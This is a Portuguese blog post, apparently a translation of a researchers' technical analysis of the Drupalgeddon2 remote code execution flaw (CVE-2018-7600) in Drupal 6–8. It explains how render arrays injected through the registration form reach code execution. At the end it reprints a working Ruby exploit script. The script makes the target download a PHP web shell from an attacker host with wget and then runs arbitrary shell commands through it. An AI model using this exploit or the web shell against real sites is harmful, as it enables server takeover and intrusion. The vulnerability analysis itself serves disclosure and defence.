No final de março, os desenvolvedores do Drupal lançaram uma atualização para abordar o CVE-2018-7600, uma falha de execução remota de código altamente crítica que pode ser explorada para assumir o controle total de um site. A falha de segurança afeta o Drupal 6, 7 e 8, e os patches foram lançados para cada uma das versões impactadas – o Drupal 6 não é mais suportado desde fevereiro de 2016, mas um patch ainda foi criado.
Especialistas alertaram na época que a exploração da vulnerabilidade, apelidada de Drupalgeddon2 , era iminente. No entanto, demorou cerca de duas semanas para que uma exploração de prova de conceito (PoC) se tornasse publicamente disponível.
Pesquisadores da Check Point e especialistas em Drupal da Dofinity trabalharam juntos para descobrir a vulnerabilidade e na quinta-feira publicaram uma análise técnica detalhada e que nós da Linux Force Security traduzimos para o português e disponibilizamos logo abaixo:
Detalhes técnicos
A vulnerabilidade
Para fornecer algumas informações básicas, a API Form do Drupal foi introduzida no Drupal 6 e permitiu a alteração dos dados do formulário durante o processo de renderização do formulário. Isso revolucionou a forma como o processamento de marcação foi feito.
No Drupal 7, a API Form foi generalizada para o que hoje é conhecido como “Renderable Arrays”. Essa API estendida é usada para representar a estrutura da maioria dos elementos da interface do usuário no Drupal, como páginas, blocos, nós e muito mais.
Matrizes renderizáveis contêm metadados que são usados no processo de renderização. Esses arrays renderizáveis são uma estrutura de valor-chave na qual as chaves de propriedade começam com um sinal de hash (#). Por favor, veja abaixo um exemplo:
[
‘#type’ => ‘marcação’,
‘#markup’ => ‘<em> algum texto </ em>’,
‘#prefix’ => ‘<div>’,
‘#suffix’ => ‘</ div>’
]
Patch do Drupal
O patch que o Drupal publicou adiciona uma única classe chamada RequestSanitizer com um método stripDangerousValues que anula todos os itens em uma matriz de entrada para chaves que começam com um sinal de hash. Esse método limpa os dados de entrada em $ _GET, $ _POST & $ _COOKIES durante os primeiros estágios do bootstrap do Drupal (imediatamente após carregar as configurações do site).
Assumimos que uma das razões pelas quais o patch foi feito dessa maneira foi dificultar a localização e a exploração da vulnerabilidade.
Encontrando um Vector de Ataque
Por causa do acima, nos concentramos em formulários que são expostos a usuários anônimos.
Existem alguns desses formulários disponíveis, um dos quais é o formulário de registro do usuário. Este formulário contém vários campos, como pode ser visto na captura de tela abaixo.
Figura 1: O formulário de registro do Drupal.
Sabíamos que precisávamos injetar um array renderizável em algum lugar na estrutura do formulário, só precisávamos descobrir onde.
Quando isso acontece, o campo “Endereço de e-mail” não limpa o tipo de entrada que recebe. Isso nos permitiu injetar um array na estrutura do array de formulários (como o valor do campo de email).
Figura 2: Injetando nosso array renderizável na entrada de email do formulário de registro.
Figura 3: Exemplo de matriz renderizável de formulário injetado.
Agora tudo o que precisávamos era que o Drupal processasse nosso array injetado. Como o Drupal trata nossa matriz injetada como um valor e não como um elemento, precisamos enganar o Drupal para renderizá-lo.
As situações em que o Drupal renderiza matrizes são as seguintes:
- Carregamento de página
- Drupal AJAX API – ou seja, quando um usuário preenche um formulário AJAX, uma solicitação é feita ao Drupal, que renderiza uma marcação HTML e atualiza o formulário.
Após investigar possíveis vetores de ataque em torno das funcionalidades acima, por causa do processo de renderização pós-submissão e do modo como o Drupal o implementa, chegamos à conclusão de que uma chamada API AJAX é nossa melhor opção para alavancar um ataque.
Como parte do formulário de registro do usuário, o campo “Imagem” usa a API AJAX do Drupal para enviar uma imagem para o servidor e substituí-la por uma miniatura da imagem carregada.
Figura 4: Formulário usado para enviar uma imagem usando a API do AJAX.
Mergulhar no retorno de chamada de upload do arquivo AJAX revelou que ele usa um parâmetro GET para localizar a parte do formulário que precisa ser atualizada no cliente.
Figura 5: Código da função de retorno de chamada do ‘upload file’ do AJAX.
Depois de apontar element_parents para a parte do formulário que continha nosso array injetado, o Drupal o processou com sucesso.
Armamento Drupalgeddon 2
Agora, tudo o que precisávamos fazer era injetar uma matriz de renderização mal-intencionada que usasse um retorno de chamada de renderização do Drupal para executar o código no sistema.
Havia várias propriedades que poderíamos ter injetado:
- #access_callback
Usado pelo Drupal para determinar se o usuário atual tem ou não acesso a um elemento. - #pre_render
Manipula o array de renderização antes da renderização. - #lazy_builder
Usado para adicionar elementos no final do processo de renderização. - #post_render
Recebe o resultado do processo de renderização e adiciona wrappers em torno dele.
Para o nosso POC funcionar, escolhemos o elemento #lazy_builder como aquele que está sendo injetado na matriz de correio. Combinado com a funcionalidade de retorno de chamada da API AJAX, poderíamos direcionar o Drupal para renderizar nosso array malicioso.
Isso nos permitiu assumir o controle da conta do administrador, instalar um módulo backdoor mal-intencionado e finalmente executar comandos arbitrários no servidor.
Figura 6: injetando o comando malicioso em um dos retornos de chamada de renderização do Drupal.
Figura 7: Executando com sucesso comandos do shell usando o módulo malicioso
Conclusão
Depois de ver publicações anteriores no Twitter e vários blogs de segurança, ficou aparente que havia muita confusão entre a comunidade em relação a este anúncio de vulnerabilidade, com alguns até duvidando da gravidade do mesmo. Como resultado, consideramos que vale a pena olhar mais fundo.
A pesquisa, no entanto, foi desafiadora, já que estávamos começando de uma grande superfície de ataque, já que o patch turva os vetores reais de ataque. Para agilizar nossas descobertas, tivemos a sorte de nos unirmos a especialistas na plataforma Drupal. Os resultados finais destacam como é fácil para a organização ser exposta sem culpa própria, mas sim pelas plataformas de terceiros que usam todos os dias.
Sobre os pesquisadores
Eyal Shalev, Senior Developer na Dofinity
Rotem Reiss, líder de operações de desenvolvimento e segurança na Dofinity
Eran Vaknin, Pesquisador de Segurança da Check Point
Código do Exploit abaixo (Fonte: Exploit-db.com):
# EDB-Note. Have the contents of "shell" on http://attacker/shell.php
require
'net/http'
# Hans Topo ruby port from Drupalggedon2 exploit.
# Based on Vitalii Rudnykh exploit
target =
ARGV
[
0
]
command =
ARGV
[
1
]
url = target +
'/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
shell =
"<?php system($_GET['cmd']); ?>"
payload =
'mail%5B%23markup%5D%3Dwget%20http%3A%2F%2Fattacker%2Fshell.php%26mail%5B%23type%5D%3Dmarkup%26form_id%3Duser_register_form%26_drupal_ajax%3D1%26mail%5B%23post_render%5D%5B%5D%3Dexec'
uri =
URI
(url)
http = Net::
HTTP
.
new
(uri.host,uri.port)
if
uri.scheme ==
'https'
http.use_ssl =
true
http.verify_mode = OpenSSL::
SSL
::
VERIFY_NONE
end
req = Net::
HTTP
::Post.
new
(uri.path)
req.body = payload
response = http.request(req)
if
response.code !=
"200"
puts
"[*] Response: "
+ response.code
puts
"[*] Target seems not to be exploitable"
exit
end
puts
"[*] Target seems to be exploitable."
exploit_uri =
URI
(target+
"/sh.php?cmd=#{command}"
)
response = Net::
HTTP
.get_response(exploit_uri)
puts response.body
0 responses on "Drupal Remote Code Execution - DrupalGeddon2 < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1"